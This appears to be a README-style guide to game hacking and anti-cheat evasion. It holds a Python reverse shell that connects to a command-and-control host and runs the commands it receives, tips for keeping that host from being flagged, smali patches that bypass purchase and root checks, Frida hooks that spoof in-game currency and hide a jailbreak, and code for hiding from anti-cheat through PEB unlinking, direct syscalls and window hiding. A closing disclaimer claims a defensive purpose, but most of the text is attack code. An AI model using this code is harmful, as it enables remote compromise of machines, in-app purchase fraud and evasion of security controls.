- Test SIEM and EDR detection
- Train defenders with bot orchestration demos
- Deploy honeypot bots to observe anti-cheat behavior
Risk | Mitigation |
---|---|
Payload host flagged | Rotate GitHub repos / use custom domain |
Static URL/IP flagged | Cloudflare or dynamic DNS |
exec() payload analysis | PyInstaller or logic obfuscation |
Webhook fingerprinting | Burner Discord/TG bots |
import socket
import subprocess
HOST = 'c2.attacker.tld'
PORT = 8080
while True:
try:
with socket.socket() as s:
s.connect((HOST, PORT))
while True:
cmd = s.recv(1024).decode()
if cmd.lower() == "exit": break
out = subprocess.getoutput(cmd)
s.send(out.encode())
except Exception as e:
time.sleep(60)
Enable repeatable, map-accurate automation for farming, mining, and patrols.
- Memory-mapped or screen-based path recording & replay
- Navigation scripting (waypoints, turning angles, XYZ control)
- Collision & stuck detection logic
- Persistence across sessions (auto relog/reconnect)
- OCR- or memory-based inventory/tool status
- Timer syncing with in-game events or zones
import keyboard
coords = []
while True:
if keyboard.is_pressed('F9'):
x, y, z = read_coords_from_memory()
coords.append((x, y, z))
print("Waypoint:", x, y, z)
if keyboard.is_pressed('F10'):
replay_path(coords)
- Screen pixel check: glowing resource nodes
- Hook
TryUseSkill()
orInteract()
calls in Unity/Lua/MMOs - Use OCR for cooldown or durability checks
void TryUseSkill(SkillSlot slot) {
if (slot.ready && target.distance < range)
slot.Activate();
}
- Time-based patrols or event triggers (Dolmens, invasions)
- Detect zone transitions, NPC dialogue, or time-of-day
- Hook
ScheduleNextEvent()
or usetime.sleep()
delay logic
- Template Matching Example:
matches = cv2.matchTemplate(screen, template, cv2.TM_CCOEFF_NORMED)
- YOLOv7 Real-Time Inference:
results = model(screen)
if results.pandas().xyxy[0]:
act()
- Slight delay randomization
- Offset each run’s path slightly
- Pause loops randomly
- Rotate server/logins
Explore the offensive security techniques and reverse engineering approaches used to dissect, modify, and automate mobile games. This section covers app decompilation, runtime instrumentation, anti-cheat bypassing, and automation using modern tools like Frida, Magisk, APKTool, and more.
Primary focus: Android (APK) and iOS (IPA) game hacking for educational, red teaming, and CTF purposes only.
Platform | Technique | Tools |
---|---|---|
Android | APK reverse engineering | APKTool, jadx, Ghidra |
Android | Runtime hooking | Frida, Magisk, ptrace |
iOS | Jailbreak + class dumping | Frida, Hopper, LLDB |
All | Input automation & bots | AutoTouch, ADB, Appium |
All | Anti-cheat bypassing | Root/Jailbreak detection evasion |
Tools Required
- apktool
- jadx
- Java Decompiler
- dex2jar
Workflow
apktool d mygame.apk -o mygame_dec/
jadx mygame.apk # GUI decompiler
Explore smali/
files or Java classes:
Look for onPurchase()
, checkGold()
, inventoryManager
, etc.
Patch logic like:
invoke-static {v0}, Lcom/game/store/CheckPurchase;->isAllowed()Z
move-result v1
if-eqz v1, :original_code
const/4 v1, 0x1 # Always allow
Patch APK logic via smali edits:
.method public isRooted()Z
.registers 2
const/4 v0, 0x0 # Force "not rooted"
return v0
.end method
Rebuild & resign:
apktool b mygame_dec/ -o modded.apk
jarsigner -keystore my-release-key.keystore modded.apk alias_name
adb install -r modded.apk
- Rooted or Magisk-enabled phone
- Install frida-server matching phone architecture
Push and run:
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server && ./data/local/tmp/frida-server &"
On host:
frida -U -n com.example.game
Java.perform(function() {
var GameUtils = Java.use("com.example.game.CurrencyManager");
GameUtils.getCoins.implementation = function() {
console.log("[+] Hooked getCoins!");
return 999999;
};
});
Hot reloadable without repackaging the APK.
- Jailbreak device with Checkra1n or TrollStore-compatible firmware
- Install frida via Cydia or Sileo
Attach to process:
frida -U -n MyGame
Hook Objective-C methods:
ObjC.schedule(ObjC.mainQueue, function() {
var cls = ObjC.classes.InAppPurchaseManager;
var sel = 'checkTransaction:';
Interceptor.attach(cls[sel].implementation, {
onEnter: function(args) {
console.log("[*] Intercepted in-app purchase:", ObjC.Object(args[2]));
}
});
});
Common detection flags:
Build.TAGS
containstest-keys
su
binary in/system/bin/
- Magisk modules
- Access to
frida-server
Frida Hook Example: Disable Root Checks
Java.perform(function () {
var RootCheck = Java.use("com.example.anticheat.Checks");
RootCheck.isDeviceRooted.implementation = function () {
return false;
};
});
Magisk Hide + Zygisk Modules
- Use MagiskHidePropsConf to spoof build fingerprint
- Use Zygisk + Shamiko to hide root from Zygote-initialized apps
Typical Checks:
fileExistsAtPath("/Applications/Cydia.app")
canOpenURL("cydia://")
fork()
,getppid()
,sysctl
Frida Hook (iOS)
Interceptor.attach(Module.findExportByName(null, "stat"), {
onEnter(args) {
var path = Memory.readUtf8String(args[0]);
if (path.indexOf("Cydia") !== -1) {
Memory.writeUtf8String(args[0], "/fakepath");
}
}
});
Tools:
- ADB + scrcpy + Python
- AutoInput + Tasker
- MonkeyRunner
- uiautomator
Example: Tap Resource Nodes with Python + ADB
import os, time
while True:
os.system("adb shell input tap 540 1200")
time.sleep(1.5)
Tools:
- AutoTouch / TouchRecorder
- XCUITest (requires dev access)
- lldb input spoofing
Technique | Description | Platform |
---|---|---|
Inline Native Hooking | Hook libil2cpp.so , libunity.so |
Android |
Class Dumping | Dump all classes from ObjC runtime | iOS |
Patch In-Memory Data | Use Frida.Memory.write*() for RAM edits |
All |
Runtime Memory Scanning | Use Frida to find health/coin vars | Android |
Emulator Bypass | Patch ro.hardware and sensors |
Android |
Detection Type | Evasion Technique |
---|---|
Magisk detection | Use Zygisk + Shamiko |
Root binaries | Rename su , hide mounts |
Debugger attach | Patch ptrace() via Frida |
Frida detection | Rename frida-server , patch symbol calls |
Jailbreak (iOS) | Use libhooker, patch fileExistsAtPath() |
By using hardware-assisted virtualization, we can intercept and manipulate game memory without directly modifying it — enabling powerful cheat capabilities while evading detection by anti-cheat systems like BattleEye, Vanguard, or EAC.
This class of cheats resides below the kernel, using hypervisors and page table remapping (EPT/NPT) to view and/or manipulate memory from another ring (Ring -1) — below Ring 0.
Term | Description |
---|---|
EPT (Intel) | Extended Page Tables — allows second-level address translation in VM |
NPT (AMD) | Nested Page Tables — same purpose as EPT but for AMD-V |
Bluepill | A rootkit or hypervisor that silently loads under the host OS |
Ring -1 | Privilege level used by hypervisors (below kernel Ring 0) |
VMX / SVM | Intel and AMD virtualization instructions (vmxon, vmexit, etc.) |
VMM | Virtual Machine Monitor (a.k.a. hypervisor, either custom or KVM/Hyper-V) |
- External ESP Overlays
- Read-Protected Pages
- Undetectable Memory View
- Runtime Memory Redirection
- Full Memory Timeline
+---------------------+ +-----------------------------+
| Guest Virtual Addr | ---> | Guest Physical Addr (GPA) |
+---------------------+ +-----------------------------+
↓
+---------------------+
| Host Physical Addr |
+---------------------+
- Sets EPT/NPT permissions
- Logs reads/writes
- Triggers VMExit
Projects: SimpleVisor, Hvpp, LibVMI
- Run game in Hyper-V
- Read memory from host using LibVMI
// EPT hook concept
setup_ept_hook(target_gpa, callback_on_readwrite);
- vmxon to activate VMX root mode
- Live patching without drivers
Feature | Traditional Cheat | VM-Level Cheat |
---|---|---|
Requires driver | ✅ | ❌ |
Visible to AV | ✅ | ❌ |
Touches game RAM | ✅ | ❌ |
Bypasses PatchGuard | ❌ | ✅ |
Hooks detected | ✅ | ❌ |
- Shadow Memory
- Page Fault ESP
- Instruction Hooks
- DMA Isolation
Tool | Purpose |
---|---|
SimpleVisor | EPT hypervisor |
hvpp | VT-x engine |
LibVMI | VM memory introspection |
DRAKVUF | Xen-based tracer |
HyperDbg | VM debugger |
Bareflank | C++ hypervisor framework |
# Setup VM
virsh start game-vm
# Attach to memory
vmi = Libvmi("game-vm")
addr = vmi.translate_ksym("PlayerStruct")
# Read loop
while True:
coords = vmi.read(addr, 12)
draw_esp(coords)
- Use VT-d to bypass DMA protection
- Trace VMEXITs to understand timing
- EPTP list: swap memory views
- EPT dirty bits: side-channel memory usage
This section provides a detailed framework for countering detection mechanisms employed by anti-cheat systems like Battleye, EasyAntiCheat (EAC), Vanguard, and others.
Anti-cheat systems don’t just detect cheat software; they identify cheating behavior and cheat footprints.
Type | Detection Method | Examples |
---|---|---|
Signature | Static strings/hashes | cheat.dll , function stubs |
Behavioral | Timing, input | Perfect recoil, pixel aim |
Memory | Page access, patching | NOP’d cooldowns, IAT hooks |
Syscall | API call graphs | NtReadVirtualMemory |
Kernel | SSDT, IRP, callbacks | Driver list, PsSet callbacks |
Anti-cheat scans memory for static patterns or hashes.
Pattern | Anti-Cheat | Notes |
---|---|---|
"LoadLibraryA" | All | Classic DLL injection |
"GetAsyncKeyState" | EAC, Vanguard | Keylogger, ESP detection |
"SetWindowsHookEx" | Battleye, EAC | Global input hook |
"CheatEngine" | All | Memory/window title scan |
"NtOpenProcess" | Vanguard | Syscall flagging |
"CreateToolhelp32Snapshot" | Battleye | Process/thread enum |
-
String Obfuscation:
const char* LLA = "\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41";
-
Dynamic API Resolution:
FARPROC GetAPIByHash(DWORD hash) { /* Export table walker */ }
-
Polymorphic Code: Self-modifying shellcode.
Anti-cheat systems inspect import/export tables.
FARPROC* pIAT = (FARPROC*)(base + offset);
if ((uintptr_t)(*pIAT) != GetProcAddress(GetModuleHandle("user32.dll"), "MessageBoxA"))
// Hooked!
- Rebuild IAT after injection.
- Inline hooks instead of IAT.
- Stealth trampolines:
original_code: mov r10, rcx mov eax, [syscall_id] stealth_gate: jmp qword [rel hidden_handler] hidden_handler: dq 0xDEADBEEFCAFEBABE
Anti-cheat systems use AOB scanning for known patterns.
// Original
call dword ptr [eax+0x70]
// Hooked
jmp myESPOverlay
- Trampoline hooks
- Encoded shellcode
- Cloaking memory:
void cloak_memory_region(void* addr, size_t size) { // Use shadow memory and hide with PTE changes }
Anti-cheat may inspect:
- PEB module list
NtQuerySystemInformation
NtQueryObject
EnumWindows
for cheat UIs
-
Unlink from PEB:
PLIST_ENTRY InMemoryOrder = &peb->Ldr->InMemoryOrderModuleList; InMemoryOrder->Flink->Blink = InMemoryOrder->Blink; InMemoryOrder->Blink->Flink = InMemoryOrder->Flink;
-
Hide Window:
HWND hWnd = FindWindow(NULL, L"Cheat Engine 7.5"); if (hWnd) ShowWindow(hWnd, SW_HIDE);
-
Block Handle Inspection:
if (ObjectType == ObjectTypeInformation && IsOurHandle(handle)) { return STATUS_INVALID_HANDLE; }
Detection points:
- IRP callbacks on \Device\KeyboardClass0
- SSDT hooks (e.g.,
NtReadVirtualMemory
) - Kernel object notify routines
-
Direct Syscalls:
void* ZwReadVirtualMemory = get_syscall_address(0x3F);
-
Unregister Callbacks:
ObUnRegisterCallbacks(MyHandle);
-
Hypervisor Execution:
void execute_protected(void* code, size_t size) { enter_vmx_operation(); load_encrypted_payload(code, size); set_vmcs_field(VMCS_GUEST_RIP, encrypted_entry); resume_guest(); }
Flagged patterns:
Behavior | Reason |
---|---|
No recoil | Inhuman precision |
1ms reaction | Scripted macros |
Perfect aim | Triggerbots |
Static movement | Bot detection |
- Add jitter and randomized delay
- GAN-generated Inputs:
from gan_input import BehavioralGAN bot = BehavioralGAN(model="cs2_pro_player.gan") while gaming: real_input = capture_mouse_movement() stealth_input = bot.generate(real_input, variance=0.3) send_input(stealth_input)
Anti-cheats may call BitBlt
, GetRenderTargetData
, or kernel video functions.
-
BitBlt Hook:
BOOL BitBltHook(...) { if (IsBeingCaptured()) return FALSE; return OriginalBitBlt(...); }
-
Context-Aware Rendering:
HRESULT __stdcall hkPresent(...) { if (is_capture_active()) { clean_render_target(); auto hr = oPresent(...); restore_render_target(); return hr; } render_esp(); return oPresent(...); }
Layer | Defense Mechanism | Bypass Technique |
---|---|---|
Usermode | API hooks, title scans | API hashing, string obfuscation |
Memory | AOB, signature scans | Encoded shellcode, trampolines |
Kernelmode | SSDT, IRP, callbacks | Direct syscalls, VM hiding |
Behavioral | Input timing, aim paths | Jitter, GAN emulation |
Forensics | Screenshots, video frames | Frame guards, present hooks |
Harness the power of quantum mechanics to revolutionize game hacking techniques. While practical quantum computers are not yet widely available, understanding these concepts prepares you for the potential future of cybersecurity.
-
Grover's Algorithm: Accelerate brute-force searches quadratically. Ideal for cracking passwords, encryption keys, or finding hidden memory addresses.
Example: Searching a key space of N elements takes O(√N) time instead of O(N).
-
Shor's Algorithm: Factor large integers exponentially faster than classical computers, breaking RSA encryption used in DRM and network protocols.
-
Quantum Annealing: Solve optimization problems (e.g., pathfinding for bots, resource allocation) more efficiently.
- Quantum Simulation: Simulate game physics engines (e.g., Havok, PhysX) at unprecedented speeds.
- Quantum Machine Learning (QML): Train neural networks for aimbots or decision-making bots exponentially faster.
- QML for Aimbots: Use quantum convolutional neural networks (QCNNs) for near-instant target acquisition.
- Quantum Fuzzing: Use quantum algorithms to generate more effective test cases.
- Post-Quantum Cryptography (PQC): Study lattice-based, hash-based, and multivariate cryptographic schemes as games adopt PQC.
- Quantum Key Distribution (QKD): Understand how games might implement QKD and explore theoretical bypass strategies.
Tool/Framework | Purpose |
---|---|
Qiskit (IBM) | Quantum circuit simulation and algorithm development |
Cirq (Google) | Framework for NISQ quantum computing |
PennyLane | Quantum machine learning, hybrid models |
Microsoft Quantum Dev Kit | Q# programming for quantum applications |
from qiskit import QuantumCircuit, Aer, execute
from qiskit.visualization import plot_histogram
import numpy as np
# Define the oracle for the secret key (e.g., 110)
def oracle(circuit, secret_key):
for i, bit in enumerate(secret_key):
if bit == '1':
circuit.x(i)
circuit.cz(0, 2)
for i, bit in enumerate(secret_key):
if bit == '1':
circuit.x(i)
# Grover's algorithm setup
n = 3 # Number of qubits (for 3-bit key)
grover_circuit = QuantumCircuit(n, n)
# Initialize superposition
grover_circuit.h(range(n))
# Apply oracle and diffusion operator
iterations = int(np.ceil(np.sqrt(2**n)))
for _ in range(iterations):
oracle(grover_circuit, '110')
grover_circuit.h(range(n))
grover_circuit.x(range(n))
grover_circuit.h(n-1)
grover_circuit.mct(list(range(n-1)), n-1) # Multi-controlled Toffoli
grover_circuit.h(n-1)
grover_circuit.x(range(n))
grover_circuit.h(range(n))
### Measure
grover_circuit.measure(range(n), range(n))
# Simulate
simulator = Aer.get_backend('qasm_simulator')
result = execute(grover_circuit, simulator, shots=1024).result()
counts = result.get_counts()
print(counts) # Should show '110' with high probability
- NISQ Limitations: Current quantum computers are noisy and have limited qubits.
- Algorithm Maturity: Many quantum algorithms are still in the theoretical stage.
- Access: Hardware is expensive and primarily cloud-based (IBM, AWS, Azure Quantum).
- Hybrid Approaches: Combine classical + quantum computing for optimization and ML.
- Quantum Cloud Services: Use cloud-based quantum hardware for cryptanalysis.
- Game Security Evolution: Expect PQC in games and research preemptive bypasses.
Task | Toolchain |
---|---|
Static Analysis | Ghidra, IDA, Binary Ninja, Radare2 |
Memory Analysis | Cheat Engine, Frida, x64dbg, ReClass.NET |
Network Hacking | Wireshark, mitmproxy, Scapy, Burp Suite |
Fuzzing | AFL++, Honggfuzz, Boofuzz, KernelFuzzer |
AI Integration | YOLOv7, OpenCV, TensorFlow, TensorRT |
Kernel Exploits | WinDbg, Ghidra, UEFITool |
Automation | Python, pymem, Selenium |
This repository is strictly for authorized penetration testing, academic research, and CTF competitions. Unauthorized use for cheating in live games is illegal, violates terms of service, and risks permanent bans.
These techniques are documented for defensive purposes—to help developers secure games. Always obtain explicit permission before testing any system.